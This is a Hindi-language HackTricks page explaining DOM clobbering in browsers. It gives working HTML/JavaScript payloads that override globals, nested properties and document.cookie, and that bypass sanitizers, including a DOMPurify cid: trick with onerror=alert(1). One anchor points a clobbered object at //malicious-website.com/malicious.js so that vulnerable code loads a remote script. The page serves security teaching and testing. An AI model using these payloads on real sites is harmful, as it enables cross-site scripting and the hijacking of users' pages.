Dom Clobbering

Support HackTricks

बुनियादी बातें

यह संभव है कि JS संदर्भ के भीतर वैश्विक चर उत्पन्न करें HTML टैग में id और name विशेषताओं के साथ।

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

केवल कुछ तत्व name attribute का उपयोग करके ग्लोबल्स को क्लॉबर कर सकते हैं, वे हैं: embed, form, iframe, image, img और object

दिलचस्प बात यह है कि जब आप एक form element का उपयोग करके एक वेरिएबल को clobber करते हैं, तो आपको तत्व का toString मान मिलेगा: [object HTMLFormElement] लेकिन anchor के साथ toString एंकर का href होगा। इसलिए, यदि आप a टैग का उपयोग करके क्लॉबर करते हैं, तो आप string के रूप में इसे व्यवहार करते समय value को control कर सकते हैं:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Arrays & Attributes

यह एक एरे और ऑब्जेक्ट विशेषताओं को क्लॉबर करना भी संभव है:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

एक 3rd विशेषता (जैसे x.y.z) को क्लॉबर करने के लिए, आपको एक form का उपयोग करने की आवश्यकता है:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering अधिक विशेषताओं को अधिक जटिल है लेकिन फिर भी संभव है, iframes का उपयोग करके:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

स्टाइल टैग का उपयोग iframes को रेंडर करने के लिए पर्याप्त समय देने के लिए किया जाता है। इसके बिना आपको undefined का अलर्ट मिलेगा।

गहरे गुणों को क्लॉबर करने के लिए, आप html एन्कोडिंग के साथ iframes का उपयोग इस तरह कर सकते हैं:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

फिल्टर बायपासिंग

यदि एक फ़िल्टर किसी नोड की गुणों के माध्यम से लूपिंग कर रहा है जैसे कि document.getElementByID('x').attributes तो आप .attributes गुण को क्लॉबर कर सकते हैं और फ़िल्टर को तोड़ सकते हैं। अन्य DOM गुण जैसे tagName, nodeName या parentNode और भी क्लॉबर करने योग्य हैं।

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

जावास्क्रिप्ट में यह सामान्य है कि:

var someObject = window.someObject || {};

HTML को पृष्ठ पर मैनिपुलेट करना someObject को एक DOM नोड के साथ ओवरराइड करने की अनुमति देता है, जो संभावित रूप से सुरक्षा कमजोरियों को पेश कर सकता है। उदाहरण के लिए, आप someObject को एक एंकर तत्व के साथ बदल सकते हैं जो एक दुर्भावनापूर्ण स्क्रिप्ट की ओर इशारा करता है:

<a id=someObject href=//malicious-website.com/malicious.js></a>

एक कमजोर कोड जैसे:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

यह विधि स्क्रिप्ट स्रोत का लाभ उठाकर अवांछित कोड निष्पादित करती है।

ट्रिक: DOMPurify आपको cid: प्रोटोकॉल का उपयोग करने की अनुमति देता है, जो डबल-कोट्स को URL-एन्कोड नहीं करता। इसका मतलब है कि आप एक एन्कोडेड डबल-कोट्स इंजेक्ट कर सकते हैं जो रनटाइम पर डिकोड होगा। इसलिए, कुछ इस तरह इंजेक्ट करना <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> HTML एन्कोडेड &quot; को रनटाइम पर डिकोड करेगा और एट्रिब्यूट वैल्यू से बाहर निकलकर onerror इवेंट बनाएगा

एक और तकनीक form तत्व का उपयोग करती है। कुछ क्लाइंट-साइड पुस्तकालय नए बनाए गए फॉर्म तत्व के एट्रिब्यूट्स की जांच करते हैं ताकि उन्हें साफ किया जा सके। हालाँकि, फॉर्म के अंदर id=attributes के साथ एक input जोड़कर, आप प्रभावी रूप से एट्रिब्यूट्स प्रॉपर्टी को ओवरराइट कर देते हैं, जिससे सैनिटाइज़र को वास्तविक एट्रिब्यूट्स तक पहुँचने से रोका जा सकता है।

आप इस प्रकार के क्लॉबरिंग का एक उदाहरण इस CTF लेख में पा सकते हैं

क्लॉबरिंग दस्तावेज़ ऑब्जेक्ट

दस्तावेज़ के अनुसार, DOM क्लॉबरिंग का उपयोग करके दस्तावेज़ ऑब्जेक्ट के एट्रिब्यूट्स को ओवरराइट करना संभव है:

Document इंटरफेस नामित प्रॉपर्टीज़ का समर्थन करता हैDocument ऑब्जेक्ट के समर्थित प्रॉपर्टी नाम किसी भी क्षण निम्नलिखित होते हैं, ट्री ऑर्डर के अनुसार जो तत्व उन्हें योगदान देता है, बाद की डुप्लिकेट्स को नजरअंदाज करते हुए, और जब एक ही तत्व दोनों को योगदान देता है, तो नाम एट्रिब्यूट्स से पहले id एट्रिब्यूट्स के मान आते हैं:

- सभी exposed embed, form, iframe, img, और exposed object तत्वों के लिए नाम सामग्री एट्रिब्यूट का मान जो एक गैर-खाली नाम सामग्री एट्रिब्यूट है और एक दस्तावेज़ वृक्ष में है जिसमें दस्तावेज़ उनके root के रूप में है; - सभी exposed object तत्वों के लिए id सामग्री एट्रिब्यूट का मान जो एक गैर-खाली id सामग्री एट्रिब्यूट है और एक दस्तावेज़ वृक्ष में है जिसमें दस्तावेज़ उनके root के रूप में है; - सभी img तत्वों के लिए id सामग्री एट्रिब्यूट का मान जो एक गैर-खाली id सामग्री एट्रिब्यूट और एक गैर-खाली नाम सामग्री एट्रिब्यूट दोनों हैं, और एक दस्तावेज़ वृक्ष में हैं जिसमें दस्तावेज़ उनके root के रूप में है।

इस तकनीक का उपयोग करके आप सामान्यतः उपयोग किए जाने वाले मानों जैसे document.cookie, document.body, document.children, और यहां तक कि दस्तावेज़ इंटरफेस में विधियों जैसे document.querySelector को ओवरराइट कर सकते हैं।

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Writing after the element clobbered

document.getElementById() और document.querySelector() के कॉल के परिणामों को एक समान id विशेषता के साथ <html> या <body> टैग इंजेक्ट करके बदला जा सकता है। इसे इस तरह किया जा सकता है:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

इसके अलावा, इन इंजेक्टेड HTML/body टैग्स को छिपाने के लिए शैलियों का उपयोग करके, innerText में अन्य पाठ से हस्तक्षेप को रोका जा सकता है, इस प्रकार हमले की प्रभावशीलता को बढ़ाया जा सकता है:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG की जांच से पता चला कि <body> टैग को भी प्रभावी ढंग से उपयोग किया जा सकता है:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

SVG में ब्राउज़रों जैसे Chrome और Firefox में HTML टैग के कार्य करने के लिए, एक <foreignobject> टैग आवश्यक है:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

यह संभव है कि आप कुछ टैग्स के अंदर form विशेषता को निर्दिष्ट करके फॉर्म के अंदर नए प्रविष्टियाँ जोड़ें। आप इसका उपयोग फॉर्म के अंदर नए मान जोड़ने और यहां तक कि एक नया बटन जोड़ने के लिए कर सकते हैं इसे भेजने के लिए (क्लिकजैकिंग या कुछ .click() JS कोड का दुरुपयोग):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

संदर्भ

HackTricks का समर्थन करें

Last updated